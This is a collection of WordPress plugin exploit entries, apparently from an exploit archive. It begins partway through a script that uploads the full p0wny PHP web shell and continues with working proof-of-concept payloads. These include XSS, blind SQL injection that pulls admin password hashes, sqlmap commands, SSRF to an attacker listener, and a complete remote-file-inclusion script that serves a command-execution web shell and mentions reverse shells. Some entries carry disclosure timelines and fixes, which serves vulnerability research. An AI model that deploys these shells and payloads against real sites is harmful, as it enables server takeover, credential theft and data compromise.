|| |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"customizer_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------121585879226594965303252407916--\r\n"
session.post(exploit_url, headers=header, data=shell_payload)
print('[*] Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/' + str(datetime.now().strftime('%Y')) + '/' + str(datetime.now().strftime('%m')) + '/shell.php')
print('')
            
source: https://www.securityfocus.com/bid/53520/info

CataBlog plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

CataBlog 1.6 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=catablog-gallery&category="><script>alert(1)</script> 
            
# Exploit Title: Cart66 Lite WordPress Ecommerce 1.5.1.17 Blind SQL Injection
# Date: 29-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
# Software Link: https://downloads.wordpress.org/plugin/cart66-lite.1.5.1.17.zip
# Category: webapps
  
1. Description
  
Cart66Ajax::shortcodeProductsTable() is accessible for every registered user.

$postId is not escaped correctly (only html tags are stripped).

File: cart66-lite\models\Cart66Ajax.php
public static function shortcodeProductsTable() {
    global $wpdb;
    $prices = array();
    $types = array();
    $postId = Cart66Common::postVal('id');
    $product = new Cart66Product();
    $products = $product->getModels("where id=$postId", "order by name");
    $data = array();
}

http://security.szurek.pl/cart66-lite-wordpress-ecommerce-15117-blind-sql-injection.html
  
2. Proof of Concept

Login as regular user (created using wp-login.php?action=register):

<form action="http://wordpress-install/wp-admin/admin-ajax.php" method="post">
    <input type="hidden" name="action" value="shortcode_products_table">
    Blind SQL Injection: <input type="text" name="id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM wp_users WHERE ID = 1) -- ">
    <input value="Hack" type="submit">
</form>

This SQL will check if first password character user ID=1 is $.

If yes, it will sleep 5 seconds.
  
3. Solution:
  
Update to version 1.5.2
https://wordpress.org/plugins/cart66-lite/changelog/
https://downloads.wordpress.org/plugin/cart66-lite.1.5.2.zip
            
# Exploit Title: Car Rental System v2.5
# Date: 28/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: https://www.bestsoftinc.com/
# Software Link: https://www.bestsoftinc.com/car-rental-system.html
# Version: 2.5
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits

1. Description

An unescaped parameter was found in Car Rental System v2.5 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameters 'pickuploc', 'dropoffloc', and 'car_type' are vulnerable.

2. Proof of concept

sqlmap -u "http://server/wp-car/" —data="pickuploc=2&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=" --dbs --threads=5 --random-agent

Parameter: pickuploc (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pickuploc=2 AND 3834=3834&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: pickuploc=2 AND SLEEP(5)&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=

The same is applicable for 'dropoffloc' and 'car_type' parameters


3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

4. Impact

Critical

5. Affected versions

<= 2.5

6. Disclosure timeline

13-Mar-2017 - found the vulnerability
13-Mar-2017 - informed the developer
28-Mar-2017 - release date of this security advisory

Not fixed at the date of submitting this exploit.
            
# Exploit Title: Wordpress Plugin Car Park Booking - SQL Injection
# Date: 2017-10-17
# Exploit Author: 8bitsec
# Vendor Homepage: https://codecanyon.net/item/car-park-booking-wordpress-plugin/20284035
# Software Link: https://codecanyon.net/item/car-park-booking-wordpress-plugin/20284035
# Version: 13 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-17

Product & Service Introduction:
===============================
Generate more sales, enhance your car park booking service, and have more time to organize the business.

Technical Details & Description:
================================

SQL injection on [space_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/booking-page/?step=3&space_id=9 AND SLEEP(5)&re_price=12

Parameter: space_id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: step=3&space_id=9 AND SLEEP(5)&re_price=12

==================
8bitsec - [https://twitter.com/_8bitsec]
            
# Exploit Title: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
# Date: 03/12/2020
# Exploit Author: Pankaj Verma (_p4nk4j)
# Vendor Homepage: https://www.canto.com/integrations/wordpress/
# Software Link: https://github.com/CantoDAM/Canto-Wordpress-Plugin
# Version: 1.3.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978


Description:-
The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities.
It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.

Vulnerable Parameters and Endpoints:-
https://target/wp-content/plugins/canto/includes/lib/detail.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/get.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/tree.php?subdomain=

Steps To Reproduce:-
1. Start a Netcat Listener on any port For e.g. 4499
2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain="
3. Add the Attacker's IP and Port For e.g. "172.17.0.1:4499?" to "subdomain=" parameter.
4. Observe the response we got from the Target on Attacker's Listener.

Note:- Using "?" in the payload is mandatory as it acts as a bypass to conduct this attack.
            
# Exploit Title: Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE)
# Date: 04/11/2023
# Exploit Author: Leopoldo Angulo (leoanggal1)
# Vendor Homepage: https://wordpress.org/plugins/canto/
# Software Link: https://downloads.wordpress.org/plugin/canto.3.0.4.zip
# Version: All versions of Canto Plugin prior to 3.0.5
# Tested on: Ubuntu 22.04, Wordpress 6.3.2, Canto Plugin 3.0.4
# CVE : CVE-2023-3452

#PoC Notes:
#The Canto plugin for WordPress is vulnerable to Remote File Inclusion in versions up to, and including, 3.0.4 via the 'wp_abspath' parameter. This allows unauthenticated attackers to include and execute arbitrary remote code on the server, provided that allow_url_include is enabled. (Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
#This code exploits the improper handling of the wp_abspath variable in the following line of the "download.php" code:
#... require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php'); ...
#This is just an example but there is this same misconfiguration in other lines of the vulnerable plugin files.
# More information in Leoanggal1's Github

#!/usr/bin/python3
import argparse
import http.server
import socketserver
import threading
import requests
import os
import subprocess

# Define the default web shell
default_web_shell = "<?php system($_GET['cmd']); ?>"

def create_admin_file(local_dir, local_shell=None):
    if not os.path.exists(local_dir):
        os.makedirs(local_dir)

    # If a local shell is provided, use it; otherwise, use the default web shell
    if local_shell:
        with open(f"{local_dir}/admin.php", "wb") as admin_file:
            with open(local_shell, "rb") as original_file:
                admin_file.write(original_file.read())
    else:
        with open(f"{local_dir}/admin.php", "w") as admin_file:
            admin_file.write(default_web_shell)

def start_local_server(local_port):
    Handler = http.server.SimpleHTTPRequestHandler
    httpd = socketserver.TCPServer(("0.0.0.0", local_port), Handler)

    print(f"Local web server on port {local_port}...")
    httpd.serve_forever()

    return httpd

def exploit_rfi(url, local_shell, local_host, local_port, command, nc_port):
    local_dir = "wp-admin"
    create_admin_file(local_dir, local_shell)

    target_url = f"{url}/wp-content/plugins/canto/includes/lib/download.php"
    local_server = f"http://{local_host}:{local_port}"
    command = f"cmd={command}"

    if local_shell:
        # If a local shell is provided, start netcat on the specified port
        subprocess.Popen(["nc", "-lvp", str(nc_port)])

    server_thread = threading.Thread(target=start_local_server, args=(local_port,))
    server_thread.daemon = True
    server_thread.start()

    exploit_url = f"{target_url}?wp_abspath={local_server}&{command}"
    print(f"Exploitation URL: {exploit_url}")

    response = requests.get(exploit_url)
    print("Server response:")
    print(response.text)

    # Shutdown the local web server
    print("Shutting down local web server...")
    server_thread.join()

if __name__ == "__main__":
    examples = '''
    Examples:
    - Check the vulnerability
    python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33

    - Execute a command
    python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

    - Upload and run a reverse shell file. You can download it from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php or generate it with msfvenom.
    python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php
    '''
    parser = argparse.ArgumentParser(description="Script to exploit the Remote File Inclusion vulnerability in the Canto plugin for WordPress - CVE-2023-3452", epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("-u", "--url", required=True, default=None,  help="Vulnerable URL")
    parser.add_argument("-s", "--shell", help="Local file for web shell")
    parser.add_argument("-LHOST", "--local_host", required=True, help="Local web server IP")
    parser.add_argument("-LPORT", "--local_port", help="Local web server port")
    parser.add_argument("-c", "--command", default="whoami", help="Command to execute on the target")
    parser.add_argument("-NC_PORT", "--nc_port", type=int, help="Listener port for netcat")

    try:
        args = parser.parse_args()

        if args.local_port is None:
            args.local_port = 8080  # Valor predeterminado si LPORT no se proporciona
        exploit_rfi(args.url, args.shell, args.local_host, int(args.local_port), args.command, args.nc_port)

    except SystemExit:
        parser.print_help()
            
# Exploit Title: CalderaForms 1.5.9.1 - multiple XSS
# Date: 02-03-2018
# Exploit Author: Federico Scalco
#    fscalco at mentat dot is
#    @mindpr00f
# Vendor Homepage: https://calderaforms.com/
# Software Link: https://wordpress.org/plugins/caldera-forms/
# Vulnerable App: https://github.com/CalderaWP/Caldera-Forms/archive/1.5.9.1.zip
# Version: 1.5.9.1 (older versions may also be affected)
# Tested on: WordPress 4.9.4
# CVE : CVE-2018-7747



1) SOFTWARE DESCRIPTION
"Caldera Form is a free and powerful WordPress plugin that creates
responsive forms with a simple drag and drop editor."
It is reported to have 100,000+ active installations at the moment of this
writing.



2) VULNERABILITY OVERVIEW
The application fails to validate user-supplied input, hence it stores the
unsanitized buffer in the database.
The vulnerabilities reported here will be exploitable ONLY if certain
conditions are met, which is not the case in a CF's default configuration
(although still being vulnerable).

A note on buffers containing strings:
    single (') and double (") quotes are correctly escaped, backticks (`)
are not.



3) DETAILS

3.a) Stored XSS - public
When submitting a CF form, the plugin will show a greeting message to
notify the user that everything went ok.
This message is editable by the site's admin and can contain part of the
user-supplied data (e.g. they're first name). In this case, simply inject
HTML code into the parameter which gets returned in the greeting message
and submit the POST request. A JSON response will follow, containing, among
other data:
- the greeting message ("html", which contains the malicious payload that
gets executed right away)
- form's ID ("form_id")
- data's ID ("cf_id")

{
    "data":{"cf_id":"<DATA_ID>"},
    "html":"<GREETING MESSAGE>",
    "type":"...",
    "form_id":"<FORM_ID>",
    "form_name":"...",
    "status":"..."
}

At this point, to reach the stored XSS, simply build a GET request using
the obtained data.
The malicious payload will be found at

    http(s)://<target>/cf-api/<FORM_ID>/?cf_su=1&cf_id=<DATA_ID>

Vulnerable config:
    - form > form settings > capture entries > checked (ON by default)
    - form > form settings > success message > add some of the user
supplied fields (absent by default)

To replicate this on a fresh install:
    - Create a new, default, contact form
    - Go to "Form Settings" tab and edit the success message to include,
for example, the user's first name.
e.g.: Form has been successfully submitted. Thank you %first_name%.
    - Save & publish
    - As an unauthenticated user, submit the contact form injecting HTML
code in first name's parameter. XSS will be triggered right away
    - To recall the payload as a stored XSS, read the POST's response and
point your browser to
        <target>/cf-api/<FORM_ID>/?cf_su=1&cf_id=<DATA_ID>



3.b) Stored XSS - admin interface
CalderaForms gives the ability to notify the admin via email everytime a
form gets submitted.
Furthermore, an admin can choose to enable an "email transacion log" for
debugging purposes (disabled by default).
If this configuration is in place, a copy of the malicious payload
described above will be shown in the administration panel, when visiting
that form's malicious entry's details.

Vulnerable config:
    - form > form settings > capture entries > checked (ON by default)
    - form > email > debug mailer > checked (OFF by default)

To replicate this on a fresh install:
    - Enable the transaction log (form -> edit -> email tab -> check
"Enable email send transaction log")
    - Replicate the injection described at 3.a (all fields can be used this
time) as an unauthenticated user
    - Back again in the admin interface, visit form's entries, identify the
malicious one and click on the "view" button

    This will pop a details window and trigger the XSS.



3.c) Importing a weaponized form - admin interface
CalderaForms gives the ability to import a form (JSON format).
A malicious form field can be crafted which will trigger an XSS when said
field gets displayed/edited after the import.

It's worth noting that this flaw does not depend on custom configurations,
although it's not "remotely" and "automatically" exploitable. The problem
here arise, for example, when an admin imports a malicious JSON.

To replicate this on a fresh install:
    - Create a form and export it (JSON format)
    - Edit the json and inject HTML code. "label" and "slug" parameters
were tested, others may be vulnerable too.
    e.g.:
    {
        ...
            "label":"First<script>alert(1);</script> Name",
            "slug":"first_name\"/><script>alert(2);</script>"
        ...
    }

    - Import the malicious form to trigger the XSS in the administration
interface



4) REMEDIATION
Update to the latest version available.

If any personalized configuration is found exploitable, the following steps
can be followed, as a temporary mitigation strategy, if no update is
available or updating is not an option, for whatever reason:
    - for every form, under "Form Settings", prune every variable that gets
returned to the user as a success message
    - for every form, under the "Email" tab, un-check "Enable email send
transaction log"
    - for every form that gets imported perform a thorough review



5) TIMELINE & FINAL NOTES

    02-03-18 > vendor gets notified
    06-03-18 > vendor replies
    07-03-18 > CVE requested and assigned
    27-03-18 > patch released
    27-03-18 > vulnerability disclosed

Special thanks go to Josh Pollock and his team, from Caldera, who invested
passion and energy in understanding and patching these issues.
            
[+] Calculated Fields Form Wordpress Plugin <= 1.0.10 - Remote SQL Injection Vulnerability
[+] Author: Ibrahim Raafat
[+] Twitter: https://twitter.com/RaafatSEC
[+] Plugin: https://wordpress.org/plugins/calculated-fields-form/

[+] TimeLine
	[-] Feb 6 2015, The vulnerabilities reported
	[-] Feb 7 2015, Response and Confirming the vulnerabilities 
	[-] Feb 8 2015, First fixing released to version 1.0.11
	[-] Feb 17 2015, CSRF protection added to version 1.0.12
	[-] March 1 2015, Public Disclosure

[+] Download: https://downloads.wordpress.org/plugin/calculated-fields-form.1.0.10.zip

[+] Description:
	There are sql injection vulnerabilities in Calculated Fields Form Plugin
	which could allow the attacker to execute sql queries into database

[+] Vulnerable Code: [Red]
https://plugins.trac.wordpress.org/changeset/1084937/calculated-fields-form

[+] POC: 

/wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 and 1=1&name=InsertText 
/wp-admin/options-general.php?page=cp_calculated_fields_form&u=2 or 1=1&name=InsertText // Will update all
/wp-admin/options-general.php?page=cp_calculated_fields_form&c=21 and 1=1 
/wp-admin/options-general.php?page=cp_calculated_fields_form&d=3 and 1=2  Delete

These queries are execute without any csrf protection, The attacker can use this csrf vulnerability to execute queries in the sql by sending malicious page to the logged in admin

[+] Impact: Attacker can use this vulnerabilities to update admin password

[+] Recommendation: If you are using 1.0.12 or less, Upgrade the plugin ASAP

[+] @lnxg33k Enta Sa3eed Bahlol?
            
# Exploit Title: WordPress Plugin cab-fare-calculator 1.0.3 - Local File Inclusion
# Google Dork: inurl:/wp-content/plugins/cab-fare-calculator/
# Date: 24-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/cab-fare-calculator/
# Version: 1.0.3
# Tested on: Firefox
# Vulnerable File: tblight.php

# Impact:

Local File Read / Code Execution

# Vulnerable Code:

```
if(!empty($_GET['controller']) && !empty($_GET['action']) &&
!empty($_GET['ajax']) && $_GET['ajax'] == 1)
{
    require_once('' . 'controllers/'.$_GET['controller'].'.php');
}
```

# Proof of concept:

